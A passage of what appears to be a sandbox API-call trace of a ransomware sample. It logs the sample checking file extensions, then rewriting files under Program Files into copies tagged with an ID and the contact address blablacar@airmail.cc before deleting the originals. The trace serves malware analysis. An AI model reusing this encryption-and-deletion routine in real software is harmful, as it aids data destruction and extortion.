Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0094.122] lstrlenW (lpString=".dbf") returned 4 [0094.122] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0094.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0094.122] lstrlenW (lpString=".1cd") returned 4 [0094.122] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0094.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0094.122] lstrlenW (lpString=".jpg") returned 4 [0094.122] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0094.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0094.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0094.122] lstrlenW (lpString=".doc") returned 4 [0094.122] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0094.122] lstrlenW (lpString=".docx") returned 5 [0094.122] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0094.122] lstrlenW (lpString=".pdf") returned 4 [0094.122] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0094.122] lstrlenW (lpString=".xls") returned 4 [0094.122] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0094.123] lstrlenW (lpString=".xlsx") returned 5 [0094.123] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0094.123] lstrlenW (lpString=".ppt") returned 4 [0094.123] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0094.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0094.123] lstrlenW (lpString=".zip") returned 4 [0094.123] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0094.123] lstrlenW (lpString=".rar") returned 4 [0094.123] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0094.123] lstrlenW (lpString=".bz2") returned 4 [0094.123] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0094.123] lstrlenW (lpString=".7z") returned 3 [0094.123] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0094.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0094.123] lstrlenW (lpString=".dbf") returned 4 [0094.123] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0094.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0094.123] lstrlenW (lpString=".1cd") returned 4 [0094.123] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0094.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0094.123] lstrlenW (lpString=".jpg") returned 4 [0094.123] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0094.123] lstrcmpiW (lpString1=".ini", lpString2=".kr") returned -1 [0094.124] lstrlenW (lpString="desktop.ini") returned 11 [0094.124] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0094.124] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=174) returned 1 [0094.124] CloseHandle (hObject=0x300) returned 1 [0094.124] GetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 0x26 [0094.124] GetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\desktop.ini.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0094.124] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0094.125] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0094.125] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0094.125] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\desktop.ini.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0094.125] GetLastError () returned 0x0 [0094.125] ReadFile (in: hFile=0x300, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0xae, lpOverlapped=0x0) returned 1 [0094.127] WriteFile (in: hFile=0x2b4, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xb0, lpOverlapped=0x0) returned 1 [0094.128] ReadFile (in: hFile=0x300, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0094.128] WriteFile (in: hFile=0x2b4, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xea, lpOverlapped=0x0) returned 1 [0094.128] SetEndOfFile (hFile=0x2b4) returned 1 [0094.128] CloseHandle (hObject=0x2b4) returned 1 [0094.129] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0094.129] SetEndOfFile (hFile=0x300) returned 1 [0094.130] CloseHandle (hObject=0x300) returned 1 [0094.130] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x26) returned 1 [0094.130] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0094.130] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0094.130] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0094.131] lstrlenW (lpString=".doc") returned 4 [0094.131] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0094.131] lstrlenW (lpString=".docx") returned 5 [0094.131] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0094.131] lstrlenW (lpString=".pdf") returned 4 [0094.131] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0094.131] lstrlenW (lpString=".xls") returned 4 [0094.131] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0094.131] lstrlenW (lpString=".xlsx") returned 5 [0094.131] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0094.131] lstrlenW (lpString=".ppt") returned 4 [0094.131] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0094.131] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0094.131] lstrlenW (lpString=".zip") returned 4 [0094.131] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0094.131] lstrlenW (lpString=".rar") returned 4 [0094.131] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0094.131] lstrlenW (lpString=".bz2") returned 4 [0094.131] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0094.131] lstrlenW (lpString=".7z") returned 3 [0094.131] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0094.131] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0094.131] lstrlenW (lpString=".dbf") returned 4 [0094.131] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0094.131] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0094.131] lstrlenW (lpString=".1cd") returned 4 [0094.131] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0094.131] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0094.131] lstrlenW (lpString=".jpg") returned 4 [0094.131] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0094.131] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0094.132] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0094.132] lstrlenW (lpString=".doc") returned 4 [0094.132] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0094.132] lstrlenW (lpString=".docx") returned 5 [0094.132] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0094.132] lstrlenW (lpString=".pdf") returned 4 [0094.132] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0094.132] lstrlenW (lpString=".xls") returned 4 [0094.132] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0094.132] lstrlenW (lpString=".xlsx") returned 5 [0094.132] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0094.132] lstrlenW (lpString=".ppt") returned 4 [0094.132] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0094.132] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0094.132] lstrlenW (lpString=".zip") returned 4 [0094.132] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0094.132] lstrlenW (lpString=".rar") returned 4 [0094.132] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0094.132] lstrlenW (lpString=".bz2") returned 4 [0094.132] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0094.132] lstrlenW (lpString=".7z") returned 3 [0094.132] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0094.132] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0094.132] lstrlenW (lpString=".dbf") returned 4 [0094.132] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0094.132] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0094.132] lstrlenW (lpString=".1cd") returned 4 [0094.132] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0094.132] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0094.132] lstrlenW (lpString=".jpg") returned 4 [0094.132] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0094.133] Sleep (dwMilliseconds=0x64) [0094.626] lstrcmpiW (lpString1=".txt", lpString2=".kr") returned 1 [0094.626] lstrlenW (lpString="Xusage.txt") returned 10 [0094.626] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0094.627] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=1423) returned 1 [0094.627] CloseHandle (hObject=0x35c) returned 1 [0094.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 0x20 [0094.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0094.627] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0094.627] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0094.627] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0094.627] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0094.628] GetLastError () returned 0x0 [0094.628] ReadFile (in: hFile=0x35c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x58f, lpOverlapped=0x0) returned 1 [0094.630] WriteFile (in: hFile=0x360, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x590, lpOverlapped=0x0) returned 1 [0094.631] ReadFile (in: hFile=0x35c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0094.632] WriteFile (in: hFile=0x360, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xe8, lpOverlapped=0x0) returned 1 [0094.632] SetEndOfFile (hFile=0x360) returned 1 [0094.632] CloseHandle (hObject=0x360) returned 1 [0094.633] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0094.633] SetEndOfFile (hFile=0x35c) returned 1 [0094.634] CloseHandle (hObject=0x35c) returned 1 [0094.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0094.634] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 1 [0094.634] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0094.634] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0094.635] lstrlenW (lpString=".doc") returned 4 [0094.635] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0094.635] lstrlenW (lpString=".docx") returned 5 [0094.635] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1 [0094.635] lstrlenW (lpString=".pdf") returned 4 [0094.635] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0094.635] lstrlenW (lpString=".xls") returned 4 [0094.635] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0094.635] lstrlenW (lpString=".xlsx") returned 5 [0094.635] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1 [0094.635] lstrlenW (lpString=".ppt") returned 4 [0094.635] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0094.635] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0094.635] lstrlenW (lpString=".zip") returned 4 [0094.635] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0094.635] lstrlenW (lpString=".rar") returned 4 [0094.635] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0094.635] lstrlenW (lpString=".bz2") returned 4 [0094.635] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0094.635] lstrlenW (lpString=".7z") returned 3 [0094.635] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0094.635] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0094.635] lstrlenW (lpString=".dbf") returned 4 [0094.635] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0094.635] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0094.635] lstrlenW (lpString=".1cd") returned 4 [0094.635] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0094.635] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0094.635] lstrlenW (lpString=".jpg") returned 4 [0094.635] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0094.636] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0094.636] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0094.636] lstrlenW (lpString=".doc") returned 4 [0094.636] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0094.636] lstrlenW (lpString=".docx") returned 5 [0094.636] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1 [0094.636] lstrlenW (lpString=".pdf") returned 4 [0094.636] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0094.636] lstrlenW (lpString=".xls") returned 4 [0094.636] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0094.636] lstrlenW (lpString=".xlsx") returned 5 [0094.636] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1 [0094.636] lstrlenW (lpString=".ppt") returned 4 [0094.636] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0094.636] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0094.636] lstrlenW (lpString=".zip") returned 4 [0094.636] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0094.636] lstrlenW (lpString=".rar") returned 4 [0094.636] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0094.636] lstrlenW (lpString=".bz2") returned 4 [0094.636] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0094.636] lstrlenW (lpString=".7z") returned 3 [0094.636] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0094.636] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0094.636] lstrlenW (lpString=".dbf") returned 4 [0094.636] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0094.636] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0094.636] lstrlenW (lpString=".1cd") returned 4 [0094.636] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0094.636] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0094.637] lstrlenW (lpString=".jpg") returned 4 [0094.637] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0094.637] lstrcmpiW (lpString1=".zip", lpString2=".kr") returned 1 [0094.637] lstrlenW (lpString="ffjcext.zip") returned 11 [0094.637] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0094.638] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=14156) returned 1 [0094.638] CloseHandle (hObject=0x35c) returned 1 [0094.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 0x20 [0094.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0094.639] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0094.639] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0094.639] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0094.639] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0094.640] GetLastError () returned 0x0 [0094.640] ReadFile (in: hFile=0x35c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x374c, lpOverlapped=0x0) returned 1 [0094.642] WriteFile (in: hFile=0x360, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x3750, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x3750, lpOverlapped=0x0) returned 1 [0094.643] ReadFile (in: hFile=0x35c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0094.643] WriteFile (in: hFile=0x360, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xea, lpOverlapped=0x0) returned 1 [0094.643] SetEndOfFile (hFile=0x360) returned 1 [0094.643] CloseHandle (hObject=0x360) returned 1 [0094.645] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0094.645] SetEndOfFile (hFile=0x35c) returned 1 [0094.646] CloseHandle (hObject=0x35c) returned 1 [0094.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0094.646] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 1 [0094.646] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0094.646] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0094.647] lstrlenW (lpString=".doc") returned 4 [0094.647] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1 [0094.647] lstrlenW (lpString=".docx") returned 5 [0094.647] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1 [0094.647] lstrlenW (lpString=".pdf") returned 4 [0094.647] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1 [0094.647] lstrlenW (lpString=".xls") returned 4 [0094.647] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1 [0094.647] lstrlenW (lpString=".xlsx") returned 5 [0094.647] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1 [0094.647] lstrlenW (lpString=".ppt") returned 4 [0094.647] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1 [0094.647] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0094.647] lstrlenW (lpString=".zip") returned 4 [0094.647] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0 [0094.647] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0094.647] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0094.647] lstrlenW (lpString=".doc") returned 4 [0094.647] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1 [0094.647] lstrlenW (lpString=".docx") returned 5 [0094.647] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1 [0094.647] lstrlenW (lpString=".pdf") returned 4 [0094.647] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1 [0094.647] lstrlenW (lpString=".xls") returned 4 [0094.647] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1 [0094.647] lstrlenW (lpString=".xlsx") returned 5 [0094.647] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1 [0094.647] lstrlenW (lpString=".ppt") returned 4 [0094.647] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1 [0094.647] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0094.647] lstrlenW (lpString=".zip") returned 4 [0094.648] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0 [0094.648] lstrcmpiW (lpString1=".gif", lpString2=".kr") returned -1 [0094.648] lstrlenW (lpString="splash.gif") returned 10 [0094.648] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0094.651] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=8590) returned 1 [0094.651] CloseHandle (hObject=0x35c) returned 1 [0094.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 0x20 [0094.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0094.651] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0094.652] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) 